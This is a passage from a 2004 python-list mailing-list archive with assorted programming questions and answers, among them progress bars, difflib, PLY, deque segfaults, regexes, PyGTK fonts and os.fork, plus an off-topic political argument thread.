>     self.parse_start_tag()
>   File
> "C:\PYTHON23\Lib\site-packages\_xmlplus\parsers\xmlproc\xmlproc.py",
> line
>  197, in parse_start_tag
>     self.app.handle_start_tag(name,attrs)
>   File
> "C:\PYTHON23\Lib\site-packages\_xmlplus\sax\drivers2\drv_xmlproc.py",
> lin
> e 368, in handle_start_tag
>     AttributesNSImpl(attrs, rawnames))
>   File "C:\PYTHON23\Lib\site-packages\_xmlplus\dom\pulldom.py", line 98,
> in
> star
> tElementNS
>     prefix = self._current_context[a_uri]
> KeyError: u'http://www.w3.org/2001/02/appelv1'
>
>
> any ideas why?
>
> thanks
> cheers
>
>
> ----------------------------------------------------------------
> This message was sent using IMP, the Internet Messaging Program.
>


----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.


From carribeiro at gmail.com  Thu Sep 23 08:13:59 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Thu, 23 Sep 2004 09:13:59 -0300
Subject: An attempt to use a python-based mini declarative language for
	formdefinition
In-Reply-To: <1095905905.19325.143.camel@www>
References: <mailman.3731.1095874585.5135.python-list@python.org>
	<RKadnchjSclpIszcRVn-tw@comcast.com>
	<mailman.3745.1095883311.5135.python-list@python.org>
	<0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net>
	<1095905905.19325.143.camel@www>
Message-ID: <864d370904092305135507a39f@mail.gmail.com>

On 23 Sep 2004 14:18:25 +1200, WenChen <w.hol at auckland.ac.nz> wrote:
> Hi
> 
> I have done scripts to generate web form and the rest xml, content
> template at once
> 
> here is the url
> http://newped.auckland.ac.nz/python/idevice_template

Yes, its closely related to what I'm trying to do, but still its
different, because I want to be able to write the specification of the
data entry form as a Python class that can in turn be converted into a
HTML representation. BTW, I solved most of the issues that were
barring my progress, and I think I may be able to have something
working quite fast now.

Thanks for the pointer,

-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From lbates at swamisoft.com  Fri Sep  3 10:20:54 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 3 Sep 2004 09:20:54 -0500
Subject: Carriage Return Problem with Python on Windows
References: <48593215.0409021155.69139a18@posting.google.com>
Message-ID: <E_qdneKPO8Jb4KXcRVn-rQ@comcast.com>

Here is a sample progress indicator class that should
(I think) answer your questions:

class progressbarClass:
    def __init__(self, finalcount, progresschar=None):
        import sys
        self.finalcount=finalcount
        self.blockcount=0
        #
        # See if caller passed me a character to use on the
        # progress bar (like "*").  If not use the block
        # character that makes it look like a real progress
        # bar.
        #
        if not progresschar: self.block=chr(178)
        else:                self.block=progresschar
        #
        # Get pointer to sys.stdout so I can use the write/flush
        # methods to display the progress bar.
        #
        self.f=sys.stdout
        #
        # If the final count is zero, don't start the progress gauge
        #
        if not self.finalcount : return
        self.f.write('\n------------------ %
Progress -------------------1\n')
        self.f.write('    1    2    3    4    5    6    7    8    9    0\n')
        self.f.write('----0----0----0----0----0----0----0----0----0----0\n')
        return

    def progress(self, count):
        #
        # Make sure I don't try to go off the end (e.g. >100%)
        #
        count=min(count, self.finalcount)
        #
        # If finalcount is zero, I'm done
        #
        if self.finalcount:
            percentcomplete=int(round(100*count/self.finalcount))
            if percentcomplete < 1: percentcomplete=1
        else:
            percentcomplete=100

        #print "percentcomplete=",percentcomplete
        blockcount=int(percentcomplete/2)
        #print "blockcount=",blockcount
        if blockcount > self.blockcount:
            for i in range(self.blockcount,blockcount):
                self.f.write(self.block)
                self.f.flush()

        if percentcomplete == 100: self.f.write("\n")
        self.blockcount=blockcount
        return

if __name__ == "__main__":
    from time import sleep
    pb=progressbarClass(8,"*")
    count=0
    while count<9:
        count+=1
        pb.progress(count)
        sleep(0.2)

    pb=progressbarClass(100)
    pb.progress(20)
    sleep(0.2)
    pb.progress(47)
    sleep(0.2)
    pb.progress(90)
    sleep(0.2)
    pb.progress(100)
    print "testing 1:"
    pb=progressbarClass(1)
    pb.progress(1)


"Canes_Rock" <hinnc at yahoo.com> wrote in message
news:48593215.0409021155.69139a18 at posting.google.com...
> The information posted at:
>
>
http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&threadm=slrnarv28n.e4j.TuxTrax%40fortress.tuxnet&rnum=1&prev=/groups%3Fq%3Dsuppress%2Bcarriage%2Breturn%2Bgroup:comp.lang.python.*%26hl%3Den%26lr%3D%26ie%3DUTF-8%26group%3Dcomp.lang.python.*%26selm%3Dslrnarv28n.e4j.TuxTrax%2540fortress.tuxnet%26rnum%3D1
>
> seemed to provide a solution to eliminating the line feed and causing
> a carriage return for the text displayed in the IDLE window, (I want
> to be able to overwrite displayed text - that is, eliminating the line
> feed from occuring and causing a carriage return).
>
> The comma at the end of the print command appeared to have eliminated
> the line feed, (\n), but the carriage return, (\r) does not work.  For
> example, (logic borrowed from previously referenced thread):
>
> for i in range(10) : print '\r' + `i`,
>
> This produces a small square box before each number, (sorry - can't
> duplicate the small square box here in this posting but if you were to
> substitute X for box the output would look like this):
>
> X1 X2 X3 X4 X5 X6 X7 X8 X9
>
> as you can see the line feed has been eliminated but the carriage
> return is not functioning as I would expect, (yes - its always about
> me isn't it?).
>
> I also tried a variation using sys.stdout.write and sys.stdout.flush
> but the root cause is the issue with the carriage return.
>
> Am I screwed or is there a way around this?  I am running Windows XP
> Home Edition using Python version 2.3.3 and IDLE version 1.0.2
>
> Any help would be appreciated!
>
> Thanks...




From fuzzyman at gmail.com  Mon Sep  6 08:16:51 2004
From: fuzzyman at gmail.com (Michael Foord)
Date: 6 Sep 2004 05:16:51 -0700
Subject: Automated Perl to Python translation?
References: <b16e4ef7.0409040550.4432a70f@posting.google.com>
Message-ID: <6f402501.0409060416.298d7822@posting.google.com>

steve at ferg.org (Stephen Ferg) wrote in message news:<b16e4ef7.0409040550.4432a70f at posting.google.com>...
> I need to translate some Perl scripts into Python.
> 
> When I went looking for a tool that would help automate the
> translation, I was rather surprised that I couldn't find anything. 
> BridgeKeeper, the only real candidate that I could find, is no longer
> available.  There are of course general-purpose parsing packages, but
> I'm looking for something target specifically to Perl-to-Python
> translation.
> 
> Since I couldn't find anything, I've started to write my own. 
> Preliminary results are good, but before I spend any more time on it I
> want to be really sure that I'm not re-inventing the wheel.
> 
> Does anybody know of any tools to automate (or assist) Perl to Python
> translation?

My goodness - sounds like quite a project. Now if you could make it
two way that would be really interesting...

Cool.

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From gerrit at nl.linux.org  Mon Sep 20 12:39:55 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Mon, 20 Sep 2004 18:39:55 +0200
Subject: Calculating days using Business Days for the Calendar
In-Reply-To: <BAY2-F9sQwY6YHkidcD00040f78@hotmail.com>
References: <BAY2-F9sQwY6YHkidcD00040f78@hotmail.com>
Message-ID: <20040920163955.GA6374@nl.linux.org>

David Stockwell wrote:
> I''m wondering if the Calendar object has an option to only do calculations 
> based on business days (ie M-F).  Additionally does it have a way to get 
> holidays into itself?
> 
> Currently I'm considering converting my calculations over to business days 
> and am wondering if there is anything built-in.  I've tried searching but 
> so far haven't seen such a thing built in.
> 
> I'm thinking I'm just going to have to bite the bullet and create my own 
> approach to
> 1) figure out the day of the week of my starting date  (Calendar.weekday() 
> should do the trick)
> 2) determine the number of days up to my finish date (i do that now)
> 3) determine the number of non-business days  (weekends + holidays)
> 4) subtract off the number in #3 from #2

Maybe the external module ''DateUtil'' (Google for it) can help you. It
is quite advanced in many aspects.

Gerrit.

-- 
Weather in Twenthe, Netherlands 20/09 17:25:
	13.0?C   wind 8.9 m/s SSW (57 m above NAP)
-- 
Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL.
Experiences with Asperger's Syndrome:
	EN http://topjaklont.student.utwente.nl/english/
	NL http://topjaklont.student.utwente.nl/


From usenet_spam at janc.invalid  Wed Sep 15 16:43:14 2004
From: usenet_spam at janc.invalid (JanC)
Date: Wed, 15 Sep 2004 20:43:14 GMT
Subject: .py as executable extension on windows
References: <cia8p4$i1j$02$1@news.t-online.com>
Message-ID: <Xns9565E72005C08JanC@213.118.38.197>

Achim Domma (Procoders) schreef:

> is there a way to tell windows, that *.py files are executable, like 
> .bat, .js, ...? If I have someTool.py somewhere in my path I would like 
> to type only 'someTool param1 param2'. Is that possible?

Google for "PATHEXT".

-- 
JanC

"Be strict when sending and tolerant when receiving."
RFC 1958 - Architectural Principles of the Internet - section 3.9


From cbfalconer at yahoo.com  Thu Sep  2 15:08:41 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Thu, 02 Sep 2004 19:08:41 GMT
Subject: Xah Lee's Unixism
References: <j-OdnS-Q8aADqKjcRVn-tQ@speakeasy.net>
	<10jc7cu7e57koaa@corp.supernews.com>
	<20040901.2343.57633snz@dsl.co.uk>
	<YLednXSn7obciqrcRVn-og@powergate.ca>
Message-ID: <41376B82.C6A202FC@yahoo.com>

Peter Hansen wrote:
> Brian {Hamilton Kelly} wrote:
>> wyrmwif at tango-sierra-oscar-foxtrot-tango.fake.org "SM Ryan" wrote:
> 
>>> There's a story about why railroad tracks are spaced the way they are.
>>
>> Is this the one about two Roman horses' arses?  If so, it also accounts
>> for the physical dimensions of the Space Shuttle's boosters.
> 
> A quick search using Google will show that while there is a
> certain amount of truth in the original story, most of the
> details are wrong, and the final bit about the booster rockets
> is unsubstantiated.  But it's still a cute story.

I know nothing about those stories, but it seems reasonable to me
that the boosters would have been designed to be transportable by
railroad, which ties their dimensions to track gauge.

-- 
Some similarities between GWB and Mussolini:
a) The strut;  b) Making war until brought up short:
                    Mussolini: Ethiopia, France, Greece.
                    GWB:       Afghanistan, Iraq.




From pfortin at pfortin.com  Thu Sep  9 14:06:49 2004
From: pfortin at pfortin.com (Pierre Fortin)
Date: Thu, 9 Sep 2004 14:06:49 -0400
Subject: string formatting with mapping & '*'...  is this a bug?
Message-ID: <20040909140649.6d2eff6e@gypsy.pfortin.com>

Hi!

"Python Essential Reference" - 2nd Ed, on P. 47 states that a string
format can include "*" for a field width (no restrictions noted); yet...

>>> "%*d" % (6,2)  # works as expected
'     2'

Now, with a mapping....

>>> mapping = {'one':1,'two':2}

These work as expected...

>>> "%(two)d" % mapping
'2'
>>> "%(two)6d" % mapping
'     2'

Attempting to specify a field width via '*' to a mapping fails....

>>> "%(two)*d" % (mapping,6)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: format requires a mapping
>>> "%(two)-*d" % (6,mapping)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
TypeError: format requires a mapping

Am I expecting too much...?

Pierre



From keir at mooncode.com  Tue Sep 14 05:26:27 2004
From: keir at mooncode.com (keirr)
Date: 14 Sep 2004 02:26:27 -0700
Subject: struct->bit access
Message-ID: <ci6dg3$llo@odah37.prod.google.com>

Patrick Maupin wrote:
> > def extract_bit_range_value(data, low_bit, high_bit=None):
> > if high_bit == None:
> > high_bit = low_bit
> >
> > high_bit += 1
> > return ((int(data) & ( ~(-1L << (high_bit - low_bit) ) << low_bit
> > )) >> low_bit)
>
> I ususally do something similar, but a bit simpler:
>
> def extract_bit_range_value(data, low_bit, numbits = 1):
>     return (data >> low_bit) & ((1 << numbits)-1)
>
> Regards,
> Pat

Pat,
Yep, that's simpler (and thus better)- thanks :-)

Cheers,

 Keir.



From mauriceling at acm.org  Fri Sep  3 00:48:35 2004
From: mauriceling at acm.org (Maurice LING)
Date: Fri, 03 Sep 2004 04:48:35 GMT
Subject: compiling to python byte codes
In-Reply-To: <ch8r2b$mva$1@news.service.uci.edu>
References: <4136b2b5$1@news.unimelb.edu.au>
	<4136bbf3$0$197$9b622d9e@news.freenet.de>
	<6f402501.0409020321.44fd443@posting.google.com>
	<41375f6a$0$13076$9b622d9e@news.freenet.de>
	<4137a850$1@news.unimelb.edu.au>
	<pan.2004.09.02.20.00.45.714844@jerf.org>
	<4137bf73$1@news.unimelb.edu.au>
	<pan.2004.09.02.22.49.36.55719@jerf.org>
	<4137e739$1@news.unimelb.edu.au>
	<ch8r2b$mva$1@news.service.uci.edu>
Message-ID: <4137f79f$1@news.unimelb.edu.au>

> 
> Well, x86/PPC assembly operates on registers. Python uses a stack.
> See http://docs.python.org/lib/bytecodes.html
> 
> If you're using registers, I guess you'd have to store the values in 
> variables, and load/store them through the stack whenever you do an 
> operation -- maybe with some optimization if you can keep the result on 
> the stack.

I dont't quite get this right. Since x86/PPC uses register operations, 
why do virtual machines, like python's and java's, are designed as stack 
machines? Why not just stick to registers?

maurice


From cbfalconer at yahoo.com  Thu Sep  9 15:41:04 2004
From: cbfalconer at yahoo.com (CBFalconer)
Date: Thu, 09 Sep 2004 19:41:04 GMT
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<u8ybrrzqd.fsf@mail.comcast.net>
	<ruehj05n8i2afsgnk9frq9bp98n520jl55@4ax.com>
	<uzn47qezk.fsf@mail.comcast.net>
	<rbnhj01438rv46f2op40gsdkcvfh7u6sgo@4ax.com>
	<4139561C.F52D4E4@yahoo.com>
	<10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com>
	<413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com>
	<4140688e$0$6912$61fed72c@news.rcn.com>
Message-ID: <4140A424.DC2AD365@yahoo.com>

jmfbahciv at aol.com wrote:
> CBFalconer <cbfalconer at yahoo.com> wrote:
>
... snip ...
>>
>> There is no need, nor cause, to impute Bush & Co. with
>> intrinsically evil intentions.  It is quite enough to point to
>> their lack of capability, and bull headed 'revenge for daddy'
>> propensities.  The state of the economy, unemployment, poverty
>> rate, medical care, deficit, death rate in Iraq (both of Americans
>> and Iraqis), abandonment of the Bin Laden hunt, abridgement of
>> civil liberties (as in the Patriot Act and the Gitmo gulag), poor
>> choice of companions (Halliburton and other political donors and
>> trough feeders, and the 'plausible deniability' of the Swiftboat
>> gang), irritation of allies, inability to deal with North Korea
>> (due to involvement with useless adventures), abandonment of
>> efforts towards a Palestinian peace, all spring to immediate mind.
> 
> Well, your Bush-hater campaign is working beyond all your
> expectations.  One day, you will have to live it.

But the point is that most people neither love nor hate Bush. 
They hate his misguided and thoughtless actions.  The comics love
him, as he provides so many ridiculous quotes.  The wealthy love
him, as he transfers taxes from them to the middle class and the
poor.  Bin Laden loves him, as he provides manna for his rabble
rousing.  The NRA loves him, as he blocks any renewal of gun
laws.  Halliburton loves him.

>>
>> Yes, we have had no experience with a Kerry administration,
> 
> OH, fuckmeverymuch.  I am in Mass.  We do have some
> experience of a Kerry administration.  For those you who don't,
> watch how he runs his campaign.  He will run the country in the
> same manner.

No, you have experience of a Senate career.  The famous war votes
show that he is responsible, since he voted for a bill that
provided for financing, and against a modified bill that simply
ran up the deficit.  At the time very few knew that the alleged
Sadamian sins were largely pipe dreams, that the hunt for the 9/11
perpetrators was to be discarded, and that no preparation for the
results was to be made.  His major error was in placing some trust
in the Bush administration.  The post Viet Nam episodes show that
he has a functioning conscience.  Some people learn from their
mistakes.

Bush is a much different thing.  With him you had experience of a
Governorship in a state that almost totally emasculates the power
of a Governor, apart from the ability to sign death warrants and
deny mercy.  We have seen the ugly result of giving him some
power, as I partially enumerated above.

> 
>> .. but we
>> have had far too much experience with a Bush administration.
> 
... snip adhominem garbage ...
> Things can be worse..a lot worse.

True. But those candidates aren't running for President this time.

-- 
"Churchill and Bush can both be considered wartime leaders, just
 as Secretariat and Mr Ed were both horses." -     James Rhodes.
"We have always known that heedless self-interest was bad
 morals.  We now know that it is bad economics" -         FDR




From nytimes at swiftdsl.com.au  Fri Sep 17 07:31:18 2004
From: nytimes at swiftdsl.com.au (huy)
Date: Fri, 17 Sep 2004 21:31:18 +1000
Subject: Using PLY
In-Reply-To: <414a6ca1$1@news.unimelb.edu.au>
References: <414a6ca1$1@news.unimelb.edu.au>
Message-ID: <414acb08$0$2413$61ce578d@news.syd.swiftdsl.com.au>

Maurice LING wrote:
> Hi,
> 
> I know that PLY lex is able to do line counting. I am wondering if there 
> is a way to count the number of each keywords (tokens) in a given file? 
> For example, how many IF tokens etc?
> 
> Thanks
> Maurice


PLY can do much more then line counting. Build an AST then just count 
your IF tokens. If you can use ply to recognise your if tokens, then you 
can easility count them.

It's kinda vague what you are wanting to do ? Is it source code you are 
parsing or text with keywords ?

Huy


From behnel_ml at dvs1.informatik.tu-darmstadt.de  Thu Sep 30 09:12:41 2004
From: behnel_ml at dvs1.informatik.tu-darmstadt.de (Stefan Behnel)
Date: Thu, 30 Sep 2004 15:12:41 +0200
Subject: SegFault using deque in 2.4b3 - Oh well, make that 2.4-a-3 ...
 (NT)
In-Reply-To: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de>
References: <cjgvhs$c33$1@lnx107.hrz.tu-darmstadt.de>
Message-ID: <cjh0j3$cff$2@lnx107.hrz.tu-darmstadt.de>

> In Python 2.4-a-3, the deque is causing a segfault on two different 
> machines I tested on.
> 
> With deque, my program runs fine for a while (at least some tens of 
> seconds up to minutes) and then suddenly segfaults.
> 
> I'm sorry I can't tell exactly when, but I'm running an application that 
> uses a few hundred deques where elements are appendleft()ed and pop()ed 
> (simple queue). As the application is rather complex (and I didn't read 
> about this error before anywhere), I guess it could be quite a bit of 
> work for me to come up with a test case.
> 
> At least I couldn't reproduce it with simple loops running interleaved 
> pop/appendleft and my machine has enough memory, so that's not the 
> problem. I'm not using things like Psyco either, which BTW (in 2.4) 
> segfaults as well (1.2 and CVS).
> 
> Anyway, when I replace the deque with this:
> 
>     class deque(list):
>         def appendleft(self, item):
>             self.insert(0, item)
> 
> the segfault disappears, so it's definitely deque's fault.
> 
> Has anyone else observed this problem?
> 
> Stefan


From christian at mvonessen.de  Mon Sep 20 11:40:08 2004
From: christian at mvonessen.de (Christian von Essen)
Date: Mon, 20 Sep 2004 17:40:08 +0200
Subject: python is going to die! =(
References: <mailman.3520.1095631846.5135.python-list@python.org>
Message-ID: <pan.2004.09.20.15.40.03.867418@mvonessen.de>

I remembered, that I've already read something very similar.

Look here:
http://groups.google.de/groups?hl=de&lr=&ie=UTF-8&frame=right&rnum=1&thl=0,1042084886,1042072683,1041557332,1041489000,1041405827,1040684903,1042040091,1041992949,1041893772,1041839812,1041698124&seekm=3f357a9b%40shknews01#link1

Or just search for C# Python in c.l.p


From aleaxit at yahoo.com  Thu Sep 23 17:24:16 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Thu, 23 Sep 2004 23:24:16 +0200
Subject: Python in a Nutshell for Python 2.4
References: <df045d93.0409221344.52d18be9@posting.google.com>
	<2Pt4d.5568$sa.2954@trndny05>
	<1gkkjme.1larcxs9r607kN%aleaxit@yahoo.com>
	<mailman.3790.1095959172.5135.python-list@python.org>
Message-ID: <1gkl90k.amhv49fizafzN%aleaxit@yahoo.com>

Josh Close <narshe at gmail.com> wrote:
   ...
> Is there any particular reason you left out certain things in the
> Nutshell book? Like os.fork and syslog, and a few others I can't think
> of off the top of my head? Maybe because they work the same as the C
> version or something, or there is man pages about it?

The hardest part of writing the Nutshell was to decide what to include,
or more precisely, what NOT to include, to make it as useful as possible
within the 600-pages limit (I broke that limit, a bit, but not by much;
it's 635 pages all told, I believe).  It would have been much easier to
just cover every bit in the standard library, avoid useful stuff that's
not in the standard library (Numeric, Tkinter, mxDateTime, etc etc), and
basically parrot the standard library docs.  I believe (judging,
basically, by the reviews I got) that by selectively covering only "the
most useful parts" (in my own very personal judgment...) of the standard
library, I managed to make the book more useful to most readers than it
would have been had I taken the easier route.  The exhaustive online
docs _are_ there, after all, when you need to make sure you can see the
docs about _every_thing, without Alex's judgment getting in the way; the
Nutshell hopefully covers the parts most readers need most often.

The fact that some parts of the Python standard library only work under
some platforms, but not others, is something I gave high priority to, in
deciding what to cover and what not.  I think page xi is quite up-front
about it: "This book ... focuses on Python's cross-platform
capabilities".  I do cover _some_ platform-specific aspects, such as
"richer text I/O" (readline, Gonnerman's Alternative Readline, curses,
Gonnerman's WConio, Lundh's Console -- sometimes with just very brief
mentions...), because my experience suggests that such functionality IS
highly sought after by the kind of readers who may often be not
experienced enough to have an easy time finding out the info otherwise.
But mostly, the Nutshell is focused on cross-platform, not platform
specific stuff.

 
> Just curious why, and if they'll be in the next version or not. 

I will review every decision I've made, and, should there be an outcry
in favour of platform-specific coverage (so far, I haven't heard many
complaints about the cross-platform focus), I may have to reconsider --
dropping something else (deciding _what_ to drop will be sheer agony...)
to make space for syslog, linuxaudiodev, _winreg, EasyDialogs, whatever.

I think there should be separate books about platform-specific Python
(so far, there's one -- alas getting rather old -- about Windows, but
none about the Mac, Linux, or other Unixen), since just focusing on the
cross-platform potential of Python fills a decent-sized book to the
point it's bursting at the seams (I'm not interested in 1000+ pages
books, and neither is O'Reilly for its Nutshell series).  Whether
publishers, and the book-buyers' market, agree with me, is of course
another issue (a proposal for a platform-specific book about Python for
the Mac got rejected -- by the major publisher of Python books AND of
Mac books, they should have a good feeling for these markets -- as aimed
to "a niche within a niche", alas).


Alex


From google0 at lazytwinacres.net  Sun Sep 12 11:16:38 2004
From: google0 at lazytwinacres.net (Dan  Dang  Griffith)
Date: 12 Sep 2004 08:16:38 -0700
Subject: Best way to compare the contents of two directories
References: <95c29a5e.0409111640.6980271f@posting.google.com>
Message-ID: <87274528.0409120716.6c0fd07b@posting.google.com>

robin.siebler at palmsource.com (Robin Siebler) wrote in message news:<95c29a5e.0409111640.6980271f at posting.google.com>...

>I have two directory trees that I want to compare and I'm trying to
>figure out what the best way of doing this would be.  I am using walk
>to get a list of all of the files in each directory.

Once you have the two lists, look into difflib.  E.g.,

import difflib
for i in difflib.ndiff(list1, list2):
    print i

Dan Gass has recently contributed some code that can produce 
a side-by-side difference in HTML format.  I believe it is in the 2.4
release, but you can also get it from 
"""https://sourceforge.net/tracker/?func=detail&atid=305470&aid=914575&group_id=5470"""

import difflib
tbl = difflib.HtmlDiff().make_file(list1, list2)
f = open("diffs.html", "w")
f.write(tbl)
f.close()

    --dang


From carribeiro at gmail.com  Mon Sep 13 13:19:24 2004
From: carribeiro at gmail.com (Carlos Ribeiro)
Date: Mon, 13 Sep 2004 14:19:24 -0300
Subject: ANN:A wxHtmlWindow forms implementation.
In-Reply-To: <1095057128.250036@news.commspeed.net>
References: <1095057128.250036@news.commspeed.net>
Message-ID: <864d370904091310192783a632@mail.gmail.com>

Tom,

I've downloaded your code but wasn't able to run the demo. It stops
with a "no module named Main" exception. In fact, no such module is
mentioned in your message.

BTW, it would be useful if you added a small description to your
package announcement -- what it does, what is it useful for, etc. I'm
checking it out of curiosity, but I admit that I don't know exactly
what to expect.

Best regards,



-- 
Carlos Ribeiro
Consultoria em Projetos
blog: http://rascunhosrotos.blogspot.com
blog: http://pythonnotes.blogspot.com
mail: carribeiro at gmail.com
mail: carribeiro at yahoo.com


From FBatista at uniFON.com.ar  Mon Sep 13 17:20:44 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Mon, 13 Sep 2004 18:20:44 -0300
Subject: os.fork() question?
Message-ID: <A128D751272CD411BC9200508BC2194D053C794F@escpl.tcp.com.ar>

[rattan at cps.cmich.edu]

#- So, what does it return on failure? I tried it under Linux
#- with Python-2.3.4, after few thousand forks the system just hangs!
#- (does not return/report fork failure)

Be aware that mybe in this case, when the system hangs, the fork does not
raises OSError because the system does not returns nothing because, well, it
hangs.

.	Facundo
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040913/d01be931/attachment.html>

From narshe at gmail.com  Tue Sep 21 14:48:04 2004
From: narshe at gmail.com (Josh Close)
Date: Tue, 21 Sep 2004 13:48:04 -0500
Subject: OT: regex to find email
In-Reply-To: <cipmad$upd$1@sea.gmane.org>
References: <4a0cafe204092108038020f72@mail.gmail.com>
	<cipg60$ap1$1@sea.gmane.org>
	<4a0cafe2040921084828f898d8@mail.gmail.com>
	<cipmad$upd$1@sea.gmane.org>
Message-ID: <4a0cafe20409211148eab25c8@mail.gmail.com>

Well, this is what I came up with.

regFindEmails = re.compile( r'''
                                [^\w\.\-](?![\.\-\_])            #
match all except alnum.- not followed by .-_
                                (                                # start capture
                                    [\w\.\-]{3,64}               #
match alnum.-_ 3-64 times
                                    (?<![\.\-\_])@(?![\.\-\_])   #
match @ not preceded or followed by .-_
                                    [\w\.\-]{3,255}              #
match alnum.-_ 3-255 times
                                    (?<!\.)\.                    #
match . not preceded by a .
                                    [a-z]{2,3}                   #
match alpha 2-3 times for .tld
                                )                                # end capture
                             '''
                          , re.I | re.X)

This works all except for matching the domain 3-255 times, this will
match @(.*).tld where the .* is 3-255 in length. It will be a rare
case where a domain name name will be more than 255 due to a prefixed
host name or an extra .tld s.a. .com.au.

I tried doing nested list ranges [[]] but it didn't work, so this will
have to do for now I suppose.

-Josh


From googlemike at hotpop.com  Wed Sep  1 21:31:17 2004
From: googlemike at hotpop.com (Google Mike)
Date: 1 Sep 2004 18:31:17 -0700
Subject: HOWTO: Set Main Application Font in PyGTK
Message-ID: <25d8d6a8.0409011731.2078f58b@posting.google.com>

This was a tough one (at least for me), and wasn't exactly what I
wanted when I was working on just setting on item's font, but shows
how you can change the font for an entire PyGTK application. I
stumbled on to it by accident.

Once you have your widget as, say, variable 'w', do this:

w.get_settings().set_string_property('gtk-font-name', 'sans normal
9','');
# some other font choices are:
# courier bold 10
# serif oblique 12
# you get the idea?

...I know, I know, it doesn't make sense to me either, but once you
attempt this on any widget in your project, the whole project changes
its fonts. At least it does with my project. Note I did my project in
Glade as one big Glade XML file, then loaded it in with PyGTK. I have
RH9 Linux and I'm using the defaults with that, which I think is
PyGTK2, Python 2.2, and Glade 2.

Anyway, I hope this helps you. Now if anyone knows how to change the
font and size on a single radio button in PyGTK, I welcome the
suggestion. I don't think it can be done.


From w.hol at auckland.ac.nz  Wed Sep 22 22:18:25 2004
From: w.hol at auckland.ac.nz (WenChen)
Date: 23 Sep 2004 14:18:25 +1200
Subject: An attempt to use a python-based mini declarative language for
	formdefinition
In-Reply-To: <0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net>
References: <mailman.3731.1095874585.5135.python-list@python.org>
	<RKadnchjSclpIszcRVn-tw@comcast.com>
	<mailman.3745.1095883311.5135.python-list@python.org>
	<0fo4d.594$zG1.432@newsread3.news.pas.earthlink.net>
Message-ID: <1095905905.19325.143.camel@www>

Hi

I have done scripts to generate web form and the rest xml, content
template at once

here is the url 
http://newped.auckland.ac.nz/python/idevice_template

Currently, the save function only generate files in a template directory

That editor's goal is to allow none techie people to generate their
instructional devices( form ) on their own will and can be plugged into
eXe for use without further coding needs.

Don't know is this somewhat similar to what you want
the code itself is nothing special, it uses javascript dom and python
text processing. 

**************************************************************************
Later, we will put a help box & extra info ( for advanced user to put
style, tags info) for a field, 

This is a tool we will use in an opensource project
https://eduforge.org/projects/exe/

still at pre-planning stage, but there is a proof-of-concept to play
around -- see the idevices list, those can be generated by the idevice
editor
http://newped.auckland.ac.nz/python/eXe/start.pyg

**************************************************************************




> >>There should be some way to pass the "location". If you solve this, 
> >>you got your answer (of course, passing the "location" is not trivial,
> >> that's why every GUI toolkit has it own approach).
> > 
> > 
> > That's *exaclty* the root of my problems. I don't want to specify
> > positioning; I only want to use *relative positioning* for everything,
> > working as automatically as possible. Will it work for all situations?
> > I'm not sure. But I think it's worth investigating.
> > 
> > What I intend to do is to borrow some of the layout techniques defined
> > by CSS+DHTML. It is *much* more complex that this, but it basically
> > works by formatting "block level" and "inline elements" elements
> > relatively to each other. You can give hints as to the relative
> > positioning -- absolute, relative, floating to the left, floating to
> > the right, and stuff like that. The layout engine positions everything
> > according to the constraints. If the engine doesn't support advanced
> > layout, it simply falls back to a simple sequence of entries according
> > to the original text flow.
> > 
> > There are two reasons behnd my choice:
> > 
> > -- there is a lot of knowledge today about how to make good interfaces
> > using CSS. It's faster to develop and is more flexible regarding
> > different engines and platforms than to rely on absolute positioning
> > (as conventional GUI builders do)
> > 
> > -- it makes *much* easier to use the same form definition on native
> > GUIs and web-based ones. My goal is to be able to build a wxPython
> > dialog or a web form from the same description.
> > 
> > That's why I can't give positioning hints, at least for now. But I
> > could include relative ordering information; for example, an arbitrary
> > tag number. But doing this I would defeat my objective of clarity of
> > design.
> > 
> 



From stevena at neosynapse.net  Wed Sep 29 21:28:02 2004
From: stevena at neosynapse.net (Steven Arnold)
Date: Wed, 29 Sep 2004 21:28:02 -0400
Subject: constructing binary \n
Message-ID: <F84E7671-127F-11D9-9E53-000A95D49904@neosynapse.net>

Is there a more elegant way to construct \[a-z] in a string than 
something like:

s = '\\n'
result = eval( "'%s'" ) % s

Another ugly method would be to build a dict with all the different 
special letters I want as keys, and their corresponding values as 
values.  Or I could have a huge if/elif structure.  I can't make ord 
work, because while ord( '\n' ) gives me a reasonable integer that I 
can interpolate with %c, I don't have '\n', I have '\\n'.

Is there a simple, graceful way to do this sort of translation?

steve



From ian at cottee.org  Mon Sep 27 20:16:21 2004
From: ian at cottee.org (Ian J Cottee)
Date: Tue, 28 Sep 2004 09:16:21 +0900
Subject: python ides
In-Reply-To: <mailman.3639.1095771048.5135.python-list@python.org>
References: <mailman.3639.1095771048.5135.python-list@python.org>
Message-ID: <4158AD55.7070606@cottee.org>

kevin wrote:

>  I think emacs-vim users will change their mind after trying it ;), well the
> problem is that it is a bit expensive =( , at least the personal edition is
> accesible , toughs?  

Well this emacs user spent some time trying it (testing the version 2 
beta). It is nice but it's no emacs unfortunately.

Ian


From exarkun at divmod.com  Fri Sep  3 09:28:20 2004
From: exarkun at divmod.com (Jp Calderone)
Date: Fri, 03 Sep 2004 09:28:20 -0400
Subject: Test the existence of a variable?
